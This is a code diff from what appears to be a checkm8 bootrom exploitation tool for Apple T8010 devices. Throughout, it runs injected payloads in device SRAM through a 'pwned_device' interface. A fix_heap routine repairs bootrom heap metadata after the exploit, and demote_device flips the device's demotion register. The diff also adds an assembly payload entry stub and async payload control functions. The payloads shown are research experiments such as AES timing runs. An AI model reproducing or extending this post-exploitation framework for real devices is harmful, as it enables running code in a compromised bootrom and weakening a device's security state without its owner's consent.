@@ -1,6 +1,8 @@
|
|||||||
cmake_minimum_required(VERSION 3.10)
|
cmake_minimum_required(VERSION 3.10)
|
||||||
project(checkm8_tool)
|
project(checkm8_tool)
|
||||||
enable_language(C)
|
enable_language(C ASM)
|
||||||
|
|
||||||
|
include(${CMAKE_ROOT}/Modules/ExternalProject.cmake)
|
||||||
|
|
||||||
include_directories(c8_remote/include)
|
include_directories(c8_remote/include)
|
||||||
include_directories(include)
|
include_directories(include)
|
||||||
|
|||||||
@@ -36,6 +36,7 @@
|
|||||||
|
|
||||||
/* Misc */
|
/* Misc */
|
||||||
#define ADDR_RANDOM_RET 0x10000b924
|
#define ADDR_RANDOM_RET 0x10000b924
|
||||||
|
#define ADDR_SYNC_ENTRY 0x1800afc84
|
||||||
|
|
||||||
#define ADDR_DFU_RETVAL (int *) 0x180088ac8
|
#define ADDR_DFU_RETVAL (int *) 0x180088ac8
|
||||||
#define ADDR_DFU_STATUS (unsigned char *) 0x180088ac0
|
#define ADDR_DFU_STATUS (unsigned char *) 0x180088ac0
|
||||||
|
|||||||
@@ -36,7 +36,8 @@ struct pwned_device
|
|||||||
unsigned int idVendor;
|
unsigned int idVendor;
|
||||||
unsigned int idProduct;
|
unsigned int idProduct;
|
||||||
|
|
||||||
struct payload *installed;
|
struct payload *inst_pl;
|
||||||
|
struct data *inst_data;
|
||||||
|
|
||||||
#ifdef WITH_ARDUINO
|
#ifdef WITH_ARDUINO
|
||||||
int ard_fd;
|
int ard_fd;
|
||||||
@@ -47,6 +48,7 @@ struct pwned_device
|
|||||||
|
|
||||||
struct pwned_device *exploit_device();
|
struct pwned_device *exploit_device();
|
||||||
int demote_device(struct pwned_device *dev);
|
int demote_device(struct pwned_device *dev);
|
||||||
|
int fix_heap(struct pwned_device *dev);
|
||||||
void free_device(struct pwned_device *dev);
|
void free_device(struct pwned_device *dev);
|
||||||
|
|
||||||
#endif //CHECKM8_TOOL_CHECKM8_H
|
#endif //CHECKM8_TOOL_CHECKM8_H
|
||||||
|
|||||||
@@ -23,12 +23,17 @@ typedef unsigned long long DEV_PTR_T;
|
|||||||
|
|
||||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
|
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
|
||||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
|
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
|
||||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
|
int uninstall_all_payloads(struct pwned_device *dev);
|
||||||
DEV_PTR_T execute_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...);
|
|
||||||
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p);
|
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p);
|
||||||
|
|
||||||
|
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
|
||||||
|
DEV_PTR_T setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...);
|
||||||
|
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p);
|
||||||
|
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr);
|
||||||
|
|
||||||
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len);
|
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len);
|
||||||
int uninstall_data(struct pwned_device *dev, DEV_PTR_T ptr);
|
int uninstall_data(struct pwned_device *dev, DEV_PTR_T ptr);
|
||||||
|
int uninstall_all_data(struct pwned_device *dev);
|
||||||
|
|
||||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len);
|
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len);
|
||||||
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len);
|
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len);
|
||||||
|
|||||||
@@ -1,5 +1,3 @@
|
|||||||
project(checkm8_libpayload)
|
|
||||||
|
|
||||||
set(PL_NAMES
|
set(PL_NAMES
|
||||||
aes_busy
|
aes_busy
|
||||||
aes_sw
|
aes_sw
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
project(checkm8_libpayload_sources C ASM)
|
|
||||||
include_directories(${CMAKE_CURRENT_LIST_DIR}/include)
|
include_directories(${CMAKE_CURRENT_LIST_DIR}/include)
|
||||||
|
|
||||||
|
|
||||||
set(CMAKE_SYSTEM_PROCESSOR arm)
|
set(CMAKE_SYSTEM_PROCESSOR arm)
|
||||||
|
|
||||||
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
|
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
|
||||||
# regular desktop
|
# regular desktop
|
||||||
set(CMAKE_C_COMPILER /usr/bin/aarch64-linux-gnu-gcc)
|
set(CMAKE_C_COMPILER /usr/bin/aarch64-linux-gnu-gcc)
|
||||||
@@ -20,11 +18,13 @@ file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
|
|||||||
|
|
||||||
foreach(NAME ${PL_NAMES})
|
foreach(NAME ${PL_NAMES})
|
||||||
if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
|
if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
|
||||||
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/payload_entry.c
|
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/payload_entry.S
|
||||||
|
${CMAKE_CURRENT_LIST_DIR}/payload_entry.c
|
||||||
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c
|
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c
|
||||||
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
|
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
|
||||||
else()
|
else()
|
||||||
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/payload_entry.c
|
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/payload_entry.S
|
||||||
|
${CMAKE_CURRENT_LIST_DIR}/payload_entry.c
|
||||||
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c)
|
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c)
|
||||||
endif()
|
endif()
|
||||||
|
|
||||||
|
|||||||
17
c8_remote/lib/payload/payload_entry.S
Normal file
17
c8_remote/lib/payload/payload_entry.S
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
.extern entry_sync
|
||||||
|
.extern entry_async
|
||||||
|
.extern load_sync_entry
|
||||||
|
|
||||||
|
.global _start
|
||||||
|
.section .text
|
||||||
|
_start:
|
||||||
|
mov x10, x30
|
||||||
|
bl load_sync_entry
|
||||||
|
mov x30, x10
|
||||||
|
|
||||||
|
# if we came from the synchronous entry point, branch to entry_sync
|
||||||
|
cmp x9, x10
|
||||||
|
b.eq entry_sync
|
||||||
|
|
||||||
|
# else branch to the payload's async entry points
|
||||||
|
b entry_async
|
||||||
@@ -1,28 +1,13 @@
|
|||||||
#include "dev_util.h"
|
#include "dev_util.h"
|
||||||
|
#include "bootrom_addr.h"
|
||||||
|
|
||||||
extern uint64_t entry_sync(uint64_t *args);
|
PAYLOAD_SECTION
|
||||||
extern uint64_t entry_async(uint64_t *base);
|
void load_sync_entry()
|
||||||
|
|
||||||
TEXT_SECTION
|
|
||||||
uint64_t _start(uint64_t arg0, uint64_t arg1, uint64_t arg2, uint64_t arg3,
|
|
||||||
uint64_t arg4, uint64_t arg5, uint64_t arg6, uint64_t arg7)
|
|
||||||
{
|
{
|
||||||
uint64_t entry, args[8];
|
uint64_t addr = ADDR_SYNC_ENTRY;
|
||||||
__asm__ volatile ("mov %0, x30" : "=r" (entry));
|
__asm__ volatile("mov x9, %0" :: "i" (addr & 0xFFFFu));
|
||||||
|
__asm__ volatile("movk x9, %0, LSL #16" :: "i" ((addr & 0xFFFF0000u) >> 16u));
|
||||||
|
__asm__ volatile("movk x9, %0, LSL #32" :: "i" ((addr & 0xFFFF00000000u) >> 32u));
|
||||||
|
__asm__ volatile("movk x9, %0, LSL #48" :: "i" ((addr & 0xFFFF000000000000u) >> 48u));
|
||||||
|
|
||||||
if(entry == 0xbea /* todo: correct entry */)
|
|
||||||
{
|
|
||||||
args[0] = arg0;
|
|
||||||
args[1] = arg1;
|
|
||||||
args[2] = arg2;
|
|
||||||
args[3] = arg3;
|
|
||||||
args[4] = arg4;
|
|
||||||
args[5] = arg5;
|
|
||||||
args[6] = arg6;
|
|
||||||
args[7] = arg7;
|
|
||||||
|
|
||||||
return entry_sync(args);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
return entry_async((uint64_t *) arg0);
|
|
||||||
}
|
}
|
||||||
@@ -1,16 +1,11 @@
|
|||||||
#include "bootrom_func.h"
|
#include "bootrom_func.h"
|
||||||
|
|
||||||
PAYLOAD_SECTION
|
PAYLOAD_SECTION
|
||||||
uint64_t entry_sync(uint64_t *args)
|
void entry_sync(uint8_t *src, uint8_t *dst, uint8_t *key, int32_t rep)
|
||||||
{
|
{
|
||||||
int i, j;
|
int i, j;
|
||||||
unsigned char src_data[16];
|
unsigned char src_data[16];
|
||||||
|
|
||||||
unsigned char *src = (unsigned char *) args[0];
|
|
||||||
unsigned char *dst = (unsigned char *) args[1];
|
|
||||||
unsigned char *key = (unsigned char *) args[2];
|
|
||||||
int rep = (int) args[3];
|
|
||||||
|
|
||||||
for(j = 0; j < 16; j++)
|
for(j = 0; j < 16; j++)
|
||||||
{
|
{
|
||||||
src_data[j] = src[j];
|
src_data[j] = src[j];
|
||||||
@@ -21,12 +16,7 @@ uint64_t entry_sync(uint64_t *args)
|
|||||||
if(i % 2 == 0) hardware_aes(16, src_data, dst, 16, 0, key, 0);
|
if(i % 2 == 0) hardware_aes(16, src_data, dst, 16, 0, key, 0);
|
||||||
else hardware_aes(16, dst, src_data, 16, 0, key, 0);
|
else hardware_aes(16, dst, src_data, 16, 0, key, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
PAYLOAD_SECTION
|
PAYLOAD_SECTION
|
||||||
uint64_t entry_async(uint64_t *base)
|
void entry_async(uint64_t *base){}
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -141,18 +141,12 @@ void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char
|
|||||||
}
|
}
|
||||||
|
|
||||||
PAYLOAD_SECTION
|
PAYLOAD_SECTION
|
||||||
uint64_t entry_sync(uint64_t *args)
|
uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
|
||||||
|
unsigned char sbox[16][16], unsigned char rc_lookup[11],
|
||||||
|
unsigned char mul2[256], unsigned char mul3[256])
|
||||||
{
|
{
|
||||||
unsigned long long start = 0, end = 0;
|
unsigned long long start = 0, end = 0;
|
||||||
|
|
||||||
unsigned char *msg = (unsigned char *) args[0];
|
|
||||||
unsigned int msg_len = (unsigned int) args[1];
|
|
||||||
unsigned char *key = (unsigned char *) args[2];
|
|
||||||
unsigned char *sbox = (unsigned char *) args[3];
|
|
||||||
unsigned char *rc_lookup = (unsigned char *) args[4];
|
|
||||||
unsigned char *mul2 = (unsigned char *) args[5];
|
|
||||||
unsigned char *mul3 = (unsigned char *) args[6];
|
|
||||||
|
|
||||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
|
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
|
||||||
aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3);
|
aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3);
|
||||||
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
|
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
|
||||||
@@ -167,7 +161,7 @@ uint64_t entry_sync(uint64_t *args)
|
|||||||
}
|
}
|
||||||
|
|
||||||
PAYLOAD_SECTION
|
PAYLOAD_SECTION
|
||||||
uint64_t entry_async(uint64_t *base)
|
void entry_async(uint64_t *base)
|
||||||
{
|
{
|
||||||
unsigned long long start = 0, end = 0;
|
unsigned long long start = 0, end = 0;
|
||||||
|
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ void fix_heap()
|
|||||||
check_all_chksums();
|
check_all_chksums();
|
||||||
}
|
}
|
||||||
|
|
||||||
extern uint64_t entry_sync(uint64_t *args)
|
void entry_sync(unsigned long long *self)
|
||||||
{
|
{
|
||||||
fix_heap();
|
fix_heap();
|
||||||
|
|
||||||
@@ -47,10 +47,7 @@ extern uint64_t entry_sync(uint64_t *args)
|
|||||||
*(ADDR_DFU_STATUS) = 1;
|
*(ADDR_DFU_STATUS) = 1;
|
||||||
|
|
||||||
event_notify(ADDR_DFU_EVENT);
|
event_notify(ADDR_DFU_EVENT);
|
||||||
return 0;
|
dev_free(self);
|
||||||
}
|
}
|
||||||
|
|
||||||
extern uint64_t entry_async(uint64_t *base)
|
void entry_async(uint64_t *base){}
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -39,13 +39,13 @@ uint64_t floppysleep_iteration(float *init)
|
|||||||
}
|
}
|
||||||
|
|
||||||
PAYLOAD_SECTION
|
PAYLOAD_SECTION
|
||||||
uint64_t entry_sync(uint64_t *args)
|
uint64_t entry_sync(float *init_ptr)
|
||||||
{
|
{
|
||||||
return floppysleep_iteration((float *) args[0]);
|
return floppysleep_iteration(init_ptr);
|
||||||
}
|
}
|
||||||
|
|
||||||
PAYLOAD_SECTION
|
PAYLOAD_SECTION
|
||||||
uint64_t entry_async(uint64_t *args)
|
void entry_async(uint64_t *args)
|
||||||
{
|
{
|
||||||
float *init_ptr = (float *) args[0];
|
float *init_ptr = (float *) args[0];
|
||||||
args[0] = 0;
|
args[0] = 0;
|
||||||
@@ -54,7 +54,7 @@ uint64_t entry_async(uint64_t *args)
|
|||||||
{
|
{
|
||||||
floppysleep_iteration(init_ptr);
|
floppysleep_iteration(init_ptr);
|
||||||
|
|
||||||
|
if(args[0] % 1000000 == 0) task_resched();
|
||||||
args[0]++;
|
args[0]++;
|
||||||
if(args[0] % 100000 == 0) task_resched();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,18 +1,13 @@
|
|||||||
#include "dev_util.h"
|
#include "dev_util.h"
|
||||||
|
|
||||||
PAYLOAD_SECTION
|
PAYLOAD_SECTION
|
||||||
extern uint64_t entry_sync(uint64_t *args)
|
void entry_sync()
|
||||||
{
|
{
|
||||||
__asm__("dmb sy");
|
__asm__("dmb sy");
|
||||||
__asm__("ic iallu");
|
__asm__("ic iallu");
|
||||||
__asm__("dsb sy");
|
__asm__("dsb sy");
|
||||||
__asm__("isb");
|
__asm__("isb");
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
PAYLOAD_SECTION
|
PAYLOAD_SECTION
|
||||||
extern uint64_t entry_async(uint64_t *base)
|
void entry_async(){}
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -44,62 +44,108 @@ void checkm8_debug_block(const char *format, ...)
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
int floppysleep(struct pwned_device *dev)
|
void floppysleep(struct pwned_device *dev)
|
||||||
{
|
{
|
||||||
struct dev_cmd_resp *resp;
|
struct dev_cmd_resp *resp;
|
||||||
|
|
||||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||||
{
|
{
|
||||||
printf("failed to open device session\n");
|
printf("failed to open device session\n");
|
||||||
return -1;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||||
{
|
{
|
||||||
printf("failed to install sync payload\n");
|
printf("failed to install sync payload\n");
|
||||||
return -1;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
|
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
|
||||||
{
|
{
|
||||||
printf("failed to install task sleep payload\n");
|
printf("failed to install task sleep payload\n");
|
||||||
return -1;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
float init_a = -7.504355E-39f;
|
float init_a = -7.504355E-39f;
|
||||||
unsigned long long init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
|
DEV_PTR_T init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
|
||||||
if(init_a_ptr == DEV_PTR_NULL)
|
if(init_a_ptr == DEV_PTR_NULL)
|
||||||
{
|
{
|
||||||
printf("failed to write initial data\n");
|
printf("failed to write initial data\n");
|
||||||
return -1;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||||
if(IS_CHECKM8_FAIL(resp->ret))
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
{
|
{
|
||||||
printf("failed to execute bootstrap\n");
|
printf("failed to execute bootstrap\n");
|
||||||
return -1;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
free_dev_cmd_resp(resp);
|
free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
while(1)
|
|
||||||
{
|
|
||||||
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
|
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
|
||||||
if(IS_CHECKM8_FAIL(resp->ret))
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
{
|
{
|
||||||
printf("failed to execute flopsleep payload\n");
|
printf("failed to execute flopsleep payload\n");
|
||||||
return -1;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("retval is %08lli\n", resp->retval);
|
printf("retval is %08lli\n", resp->retval);
|
||||||
free_dev_cmd_resp(resp);
|
free_dev_cmd_resp(resp);
|
||||||
|
close_device_session(dev);
|
||||||
usleep(2000000);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void floppysleep_async(struct pwned_device *dev)
|
||||||
|
{
|
||||||
|
float init_a = -7.504355E-39f;
|
||||||
|
DEV_PTR_T init_a_ptr, async_buf_ptr;
|
||||||
|
struct dev_cmd_resp *resp;
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||||
|
{
|
||||||
|
printf("failed to open device session\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||||
|
{
|
||||||
|
printf("failed to install sync payload\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
|
||||||
|
{
|
||||||
|
printf("failed to install task sleep payload\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
|
||||||
|
if(init_a_ptr == DEV_PTR_NULL)
|
||||||
|
{
|
||||||
|
printf("failed to write initial data\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
printf("failed to execute bootstrap\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
async_buf_ptr = setup_payload_async(dev, PAYLOAD_FLOPPYSLEEP, 32, 1, init_a_ptr);
|
||||||
|
run_payload_async(dev, PAYLOAD_FLOPPYSLEEP);
|
||||||
close_device_session(dev);
|
close_device_session(dev);
|
||||||
free_device(dev);
|
|
||||||
|
printf("async buf pointer is %llX\n", async_buf_ptr);
|
||||||
|
|
||||||
|
// sleep(10);
|
||||||
|
//
|
||||||
|
// open_device_session(dev);
|
||||||
|
// resp = read_gadget(dev, async_buf_ptr, 8);
|
||||||
|
// close_device_session(dev);
|
||||||
}
|
}
|
||||||
|
|
||||||
void aes_sw(struct pwned_device *dev)
|
void aes_sw(struct pwned_device *dev)
|
||||||
@@ -235,6 +281,13 @@ void aes_sw(struct pwned_device *dev)
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
printf("failed to execute sync payload\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
for(i = 0; i < 100; i++)
|
for(i = 0; i < 100; i++)
|
||||||
{
|
{
|
||||||
resp = execute_payload(dev, PAYLOAD_AES_SW, 0, 7,
|
resp = execute_payload(dev, PAYLOAD_AES_SW, 0, 7,
|
||||||
@@ -339,12 +392,14 @@ int main()
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fix_heap(dev);
|
||||||
demote_device(dev);
|
demote_device(dev);
|
||||||
|
floppysleep_async(dev);
|
||||||
|
|
||||||
// usb_task_exit(dev);
|
// open_device_session(dev);
|
||||||
|
// uninstall_all_payloads(dev);
|
||||||
floppysleep(dev);
|
// uninstall_all_data(dev);
|
||||||
free_device(dev);
|
// free_device(dev);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
|
|
||||||
#include "usb_helpers.h"
|
#include "usb_helpers.h"
|
||||||
#include "command.h"
|
#include "command.h"
|
||||||
|
#include "bootrom_addr.h"
|
||||||
|
|
||||||
static unsigned char data_0xA_0xC0_buf[192] =
|
static unsigned char data_0xA_0xC0_buf[192] =
|
||||||
{
|
{
|
||||||
@@ -294,6 +295,13 @@ int demote_device(struct pwned_device *dev)
|
|||||||
{
|
{
|
||||||
checkm8_debug_indent("demote_device(dev = %p)\n", dev);
|
checkm8_debug_indent("demote_device(dev = %p)\n", dev);
|
||||||
unsigned int oldval, newval;
|
unsigned int oldval, newval;
|
||||||
|
int retval;
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to open a device session\n");
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
|
}
|
||||||
|
|
||||||
struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
|
struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
|
||||||
if(IS_CHECKM8_FAIL(resp->ret))
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
@@ -305,18 +313,36 @@ int demote_device(struct pwned_device *dev)
|
|||||||
|
|
||||||
oldval = *((unsigned int *) resp->data);
|
oldval = *((unsigned int *) resp->data);
|
||||||
free_dev_cmd_resp(resp);
|
free_dev_cmd_resp(resp);
|
||||||
if(oldval & 1u)
|
if(!(oldval & 1u))
|
||||||
{
|
{
|
||||||
|
checkm8_debug_block("\tdevice already demoted\n");
|
||||||
|
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to close device session\n");
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
|
}
|
||||||
|
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
oldval &= 0xFFFFFFFE;
|
oldval &= 0xFFFFFFFE;
|
||||||
|
|
||||||
checkm8_debug_indent("\tattempting to demote device\n");
|
checkm8_debug_indent("\tattempting to demote device\n");
|
||||||
resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
|
resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
|
||||||
free_dev_cmd_resp(resp);
|
|
||||||
if(IS_CHECKM8_FAIL(resp->ret))
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
{
|
{
|
||||||
checkm8_debug_block("\tfailed to write to demotion reg\n");
|
checkm8_debug_block("\tfailed to write to demotion reg\n");
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to close device session\n");
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
|
}
|
||||||
|
|
||||||
return CHECKM8_FAIL_INVARGS;
|
return CHECKM8_FAIL_INVARGS;
|
||||||
}
|
}
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
// verify
|
// verify
|
||||||
resp = dev_read_memory(dev, DEMOTE_REG, 4);
|
resp = dev_read_memory(dev, DEMOTE_REG, 4);
|
||||||
@@ -324,29 +350,81 @@ int demote_device(struct pwned_device *dev)
|
|||||||
{
|
{
|
||||||
free_dev_cmd_resp(resp);
|
free_dev_cmd_resp(resp);
|
||||||
checkm8_debug_block("\tfailed to verify demotion reg\n");
|
checkm8_debug_block("\tfailed to verify demotion reg\n");
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to close device session\n");
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
|
}
|
||||||
|
|
||||||
return CHECKM8_FAIL_INVARGS;
|
return CHECKM8_FAIL_INVARGS;
|
||||||
}
|
}
|
||||||
|
|
||||||
newval = *((unsigned int *) resp->data);
|
newval = *((unsigned int *) resp->data);
|
||||||
free_dev_cmd_resp(resp);
|
free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
if(oldval == newval)
|
if(oldval == newval)
|
||||||
{
|
{
|
||||||
checkm8_debug_block("\tdemotion success!\n");
|
checkm8_debug_block("\tdemotion success!\n");
|
||||||
return CHECKM8_SUCCESS;
|
retval = CHECKM8_SUCCESS;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
checkm8_debug_block("\tdemotion register did not change!\n");
|
checkm8_debug_block("\tdemotion register did not change!\n");
|
||||||
return CHECKM8_FAIL_INVARGS;
|
retval = CHECKM8_FAIL_INVARGS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to close device session\n");
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
|
|
||||||
|
int fix_heap(struct pwned_device *dev)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
|
||||||
|
int close;
|
||||||
|
|
||||||
|
#if CHECKM8_PLATFORM == 8010
|
||||||
|
unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
|
||||||
|
unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
||||||
|
unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
||||||
|
|
||||||
|
unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
|
||||||
|
unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
|
||||||
|
unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
|
||||||
|
|
||||||
|
if(is_device_session_open(dev)) close = 0;
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
checkm8_debug_block("\tdevice already demoted\n");
|
close = 1;
|
||||||
return CHECKM8_SUCCESS;
|
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to open a device session\n");
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
|
||||||
|
dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
|
||||||
|
dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
|
||||||
|
|
||||||
|
dev_exec(dev, 0, 5, calc1_args);
|
||||||
|
dev_exec(dev, 0, 5, calc2_args);
|
||||||
|
dev_exec(dev, 0, 5, calc3_args);
|
||||||
|
|
||||||
|
if(close) close_device_session(dev);
|
||||||
|
|
||||||
|
#else
|
||||||
|
#error "Can't fix heap for unknown platform"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
